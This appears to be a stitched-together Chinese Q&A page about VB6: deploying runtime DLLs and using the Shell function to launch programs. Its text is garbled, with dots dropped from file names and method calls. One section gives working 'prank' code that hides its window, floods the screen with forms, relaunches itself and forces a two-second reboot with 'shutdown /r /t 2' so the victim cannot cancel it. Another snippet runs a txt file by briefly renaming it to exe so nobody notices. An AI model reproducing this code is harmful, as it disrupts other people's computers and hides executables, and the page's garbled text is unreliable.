
你必须将VB6的运行库MSVBVM60DLL释放到系统SYSTEM32目录下,并且将所有使用到的OCX控件和COM_DLL都释放到系统目录下并且注册!VB可以制作自定义安装包,但是会比较麻烦。有三个可行办法:
1将所有组件和COM
DLL等全部附加到资源文件,生成一个EXE安装文件,之后使用ASPACK进行压缩
2将所有用到的DLL等全部使用RAR或者压缩算法压缩成压缩包,之后进行解压缩
3使用自带打包工具(虽然很丑),也可以使用第三方打包工具,如WINRAR,Inno
Setup
你好!
VB编程软件对应用程序只能用以二进制方式打开EXE文件,并经处理,所见到的是如DOS下的DEBUG命令打开后看到的以16进制显示相同
VB编程软件能打开源代码组成的文件你可先运行VB6EXE文件,然后在新建窗口或文件菜单栏新建或打开工程文件,在其代码窗口修改代码或在对象窗口修改或增删控件
VB中用Shell
函数可执行一个可执行文件例:
Dim
RetVal
RetVal
=
Shell("C:\Program
Files\Tencent\qq2007\qqexe",
1)
下面让我们打开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得尽量小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。
实现代码如下:
Private Sub Timer1_Timer()
Dim a As New Form1 ‘声明以后出现a就是代表Form1
aShow ‘Form1d出
End Sub
Private Sub Timer2_Timer()
Shell AppEXEName ‘运行这个软件的本身
End Sub
然后隐藏窗体本身,书县代码如下:
Private Sub Form_Load()
MeHide
End Sub
那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:
Private Sub Timer3_Timer()
Shell ("cmdexe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
1、如果是打开已存在的程序(如 exe com 等文件),可以使用shell "完整路径\完整文件名"。
例打开计算器: shell "c:\windows\system32\calcexe",vbNormalFocus
2、打开当前工程的窗口,使用 窗口名show 方法。
例已有窗口名为frmA : frmAshow
比如你同时有a和b两个程序你在a程序里写上下面的代码
Private
Sub
Form_Load()
call
shell("bexe",vbNormalFocus)
End
Sub
比如下面的代码:Private Sub Command1_Click()
Dim x As Long
x = Shell("1exe")
Label1Caption = Str(x)
End Sub运行了1exe并且在label标签上显示了该程序的句柄
你可以在VB中先把txt文件改名为exe文件,然后用shell调用,最后再把文件名改回txt
比如:
Name "d:\1txt" As "d:\1exe"
Shell "d:\1exe"
Name "d:\1exe" As "d:\1txt"
由于shell是同步运行的,所以改名的 *** 作是发生在一瞬间的,别人几乎没法发觉1txt变为1exe然后又变回1txt。
以上就是关于VB程序需要什么才能运行全部的内容,包括:VB程序需要什么才能运行、怎么让VB直接打开一个已安装的电脑程序、VB编写自动运行程序等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)